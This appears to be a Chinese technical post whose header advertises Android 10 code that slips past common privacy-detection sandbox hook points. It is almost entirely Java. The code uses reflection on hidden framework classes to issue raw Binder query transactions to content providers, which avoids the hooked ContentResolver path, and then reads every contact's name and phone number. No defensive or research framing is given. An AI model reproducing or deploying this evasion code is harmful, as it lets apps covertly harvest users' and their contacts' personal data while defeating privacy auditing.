适配安卓10,可绕过常规的隐私检测沙箱的桩点
private static Bundle createSqlQueryBundle(String selection, String[] selectionArgs, String sortOrder) {
if (selection == null && selectionArgs == null && sortOrder == null) {
return null;
}
Bundle queryArgs = new Bundle();
if (selection != null) {
queryArgs.putString("android:query-arg-sql-selection", selection);
}
if (selectionArgs != null) {
queryArgs.putStringArray("android:query-arg-sql-selection-args", selectionArgs);
}
if (sortOrder != null) {
queryArgs.putString("android:query-arg-sql-sort-order", sortOrder);
}
return queryArgs;
}
private static Cursor query_transact(ContentResolver objContentResolver, String mPackageName, Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder){
try{
Log.i("testtest", "\n\n");
// 构造参数
Bundle queryArgs = createSqlQueryBundle(selection, selectionArgs, sortOrder);
Object remoteCancellationSignal = null;
Log.i("testtest", "queryArgs -> " + String.valueOf(queryArgs));
// 获取unstableProvider
Class<?> clsContentResolver = Class.forName("android.content.ContentResolver");
Log.i("testtest", "clsContentResolver -> " + clsContentResolver.toString());
Method methodacquireUnstableProvider = clsContentResolver.getMethod("acquireUnstableProvider", Uri.class);
Log.i("testtest", "methodacquireUnstableProvider -> " + methodacquireUnstableProvider.toString());
methodacquireUnstableProvider.setAccessible(true);
Object unstableProvider = methodacquireUnstableProvider.invoke(objContentResolver, uri); //ContentProviderProxy
Log.i("testtest", "unstableProvider -> " + unstableProvider.toString());
// 获取ContentProviderProxy的mRemote
Class<?> clsContentProviderProxy = Class.forName("android.content.ContentProviderProxy");
Log.i("testtest", "clsContentProviderProxy -> " + clsContentProviderProxy.toString());
Field fieldmRemote = clsContentProviderProxy.getDeclaredField("mRemote");
fieldmRemote.setAccessible(true);
IBinder objmRemote = (IBinder)fieldmRemote.get(unstableProvider);
Log.i("testtest", "objmRemote -> " + objmRemote.toString());
// 构造BulkCursorToCursorAdaptor
Class<?> clsBulkCursorToCursorAdaptor = Class.forName("android.database.BulkCursorToCursorAdaptor");
Log.i("testtest", "clsBulkCursorToCursorAdaptor -> " + clsBulkCursorToCursorAdaptor.toString());
Constructor<?>[] constructorsBulkCursorToCursorAdaptor = clsBulkCursorToCursorAdaptor.getDeclaredConstructors();
Constructor<?> constructorBulkCursorToCursorAdaptor = constructorsBulkCursorToCursorAdaptor[0];
Log.i("testtest", "constructorBulkCursorToCursorAdaptor -> " + constructorBulkCursorToCursorAdaptor.getName());
constructorBulkCursorToCursorAdaptor.setAccessible(true);
Object adaptor = constructorBulkCursorToCursorAdaptor.newInstance();
// 与服务端通信
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
try {
data.writeInterfaceToken("android.content.IContentProvider");
data.writeString(mPackageName);
uri.writeToParcel(data, 0);
int length = 0;
if (projection != null) {
length = projection.length;
}
data.writeInt(length);
for (int i = 0; i < length; i++) {
data.writeString(projection[i]);
}
data.writeBundle(queryArgs);
// call BulkCursorToCursorAdaptor.getObserver
Method methodgetObserver = clsBulkCursorToCursorAdaptor.getDeclaredMethod("getObserver");
methodgetObserver.setAccessible(true);
Object objIContentObserver = methodgetObserver.invoke(adaptor);
Log.i("testtest", "objIContentObserver -> " + objIContentObserver.getClass().getName());
// 获取内部类android.database.ContentObserver$Transport
Class<?> clsContentObserver = Class.forName("android.database.ContentObserver");
Log.i("testtest", "clsContentObserver -> " + clsContentObserver.toString());
Class<?>[] innerClassesTransport = clsContentObserver.getDeclaredClasses();
Log.i("testtest", "innerClassesTransport -> " + innerClassesTransport.length);
Class<?> innerClassTransport = null;
for (Class<?> clazz : innerClassesTransport) {
if (clazz.getSimpleName().equals("Transport")) {
innerClassTransport = clazz;
break;
}
}
Log.i("testtest", "innerClassTransport -> " + innerClassTransport.toString());
Method methodasBinder = innerClassTransport.getMethod("asBinder");
Log.i("testtest", "methodasBinder -> " + methodasBinder.toString());
methodasBinder.setAccessible(true);
IBinder mIBinder = (IBinder)methodasBinder.invoke(objIContentObserver);
Log.i("testtest", "mIBinder -> " + mIBinder.toString());
data.writeStrongBinder(mIBinder);
data.writeStrongBinder(null);
//拿调用号
int IContentProvider_QUERY_TRANSACTION = -1;
try {
Class<?> clsIContentProvider = Class.forName("android.content.IContentProvider");
Field field = clsIContentProvider.getDeclaredField("QUERY_TRANSACTION");
assert field != null;
field.setAccessible(true);
IContentProvider_QUERY_TRANSACTION = field.getInt(null);
} catch (Throwable e) {
e.printStackTrace();
return null;
}
Log.i("testtest", "IContentProvider_QUERY_TRANSACTION -> " + IContentProvider_QUERY_TRANSACTION);
objmRemote.transact(IContentProvider_QUERY_TRANSACTION, data, reply, 0);
DatabaseUtils.readExceptionFromParcel(reply);
if (reply.readInt() != 0) {
// BulkCursorDescriptor d = BulkCursorDescriptor.CREATOR.createFromParcel(reply);
Class<?> clsBulkCursorDescriptor = Class.forName("android.database.BulkCursorDescriptor");
Field fieldCREATOR = clsBulkCursorDescriptor.getDeclaredField("CREATOR");
fieldCREATOR.setAccessible(true);
Parcelable.Creator objCREATOR = (Parcelable.Creator)fieldCREATOR.get(null);
Log.i("testtest", "objCREATOR -> " + objCREATOR.getClass().getName());
Method methodcreateFromParcel = objCREATOR.getClass().getDeclaredMethod("createFromParcel", Parcel.class);
Log.i("testtest", "methodcreateFromParcel -> " + methodcreateFromParcel.toString());
methodcreateFromParcel.setAccessible(true);
Object d = methodcreateFromParcel.invoke(objCREATOR, reply);
Log.i("testtest", "d -> " + d.toString());
// Binder.copyAllowBlocking(mRemote, (d.cursor != null) ? d.cursor.asBinder() : null);
Field fieldcursor = clsBulkCursorDescriptor.getDeclaredField("cursor");
fieldcursor.setAccessible(true);
Object objcursor= fieldcursor.get(d);
Log.i("testtest", "objcursor -> " + objcursor.toString());
IBinder cursorBinder = null;
if (objcursor != null){
Method methodcursorasBinder = objcursor.getClass().getMethod("asBinder");
methodcursorasBinder.setAccessible(true);
cursorBinder = (IBinder)methodcursorasBinder.invoke(objcursor);
Log.i("testtest", "cursorBinder -> " + cursorBinder.toString());
}
Class<?> clsBinder = Class.forName("android.os.Binder");
Method methodcopyAllowBlocking = clsBinder.getDeclaredMethod("copyAllowBlocking", IBinder.class, IBinder.class);
Log.i("testtest", "methodcopyAllowBlocking -> " + methodcopyAllowBlocking.toString());
methodcopyAllowBlocking.setAccessible(true);
methodcopyAllowBlocking.invoke(null, objmRemote, cursorBinder);
// adaptor.initialize(d);
Method methodinitialize = clsBulkCursorToCursorAdaptor.getDeclaredMethod("initialize", clsBulkCursorDescriptor);
methodinitialize.setAccessible(true);
methodinitialize.invoke(adaptor, d);
} else {
return null;
}
} catch (Throwable th) {
Log.e("testtest", th.toString());
} finally {
data.recycle();
reply.recycle();
}
Cursor qCursor = (Cursor)adaptor;
Log.i("testtest", "qCursor -> " + qCursor.toString());
if (qCursor == null){
return null;
}
qCursor.getCount();
// 获取provider
Method methodacquireProvider = clsContentResolver.getMethod("acquireProvider", Uri.class);
methodacquireProvider.setAccessible(true);
Object provider = methodacquireProvider.invoke(objContentResolver, uri);
Log.i("testtest", "provider -> " + provider.toString());
// 构造ContentResolver$CursorWrapperInner
Class<?> clsIContentProvider = Class.forName("android.content.IContentProvider");
Log.i("testtest", "clsIContentProvider -> " + clsIContentProvider.toString());
// 获取内部类CursorWrapperInner
Class<?>[] innerClasses = clsContentResolver.getDeclaredClasses();
Class<?> innerClass = null;
for (Class<?> clazz : innerClasses) {
if (clazz.getSimpleName().equals("CursorWrapperInner")) {
innerClass = clazz;
break;
}
}
// 获取构造函数CursorWrapperInner.<init>
Constructor<?>[] constructors = innerClass.getDeclaredConstructors();
Constructor<?> innerConstructor = constructors[0];
innerConstructor.setAccessible(true);
Cursor cursor = (Cursor)innerConstructor.newInstance(objContentResolver, qCursor, provider); //第一个参数为外部类的this指针
Log.i("testtest", "cursor -> " + cursor.toString());
return cursor;
} catch (Throwable th){
Log.e("testtest", th.toString());
}
return null;
}
//获取通讯录数据
public static String get_contact(Context context) {
String mPackageName = context.getPackageName();
ContentResolver objContentResolver = context.getContentResolver();
Cursor cursor = query_transact(objContentResolver, mPackageName, ContactsContract.Contacts.CONTENT_URI, null,null,null,null);
if (cursor == null){
return null;
}
String contactInfo = "";
while ( cursor.moveToNext() ) {
@SuppressLint("Range") String id = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
@SuppressLint("Range") String name = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
@SuppressLint("Range") int isHas = cursor.getInt(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER));
if (isHas > 0) {
Cursor cursor1 = query_transact(objContentResolver, mPackageName, ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + id,
null, null);
while (cursor1.moveToNext()) {
contactInfo = contactInfo + name;
@SuppressLint("Range") String number = cursor1.getString(
cursor1.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)).trim();
number = number.replace(" ","");
number = number.replace("-","");
contactInfo = contactInfo + number;
contactInfo = contactInfo + "\n";
Log.i("testtest", contactInfo);
}
cursor1.close();
}
}
cursor.close();
return contactInfo;
}
截图: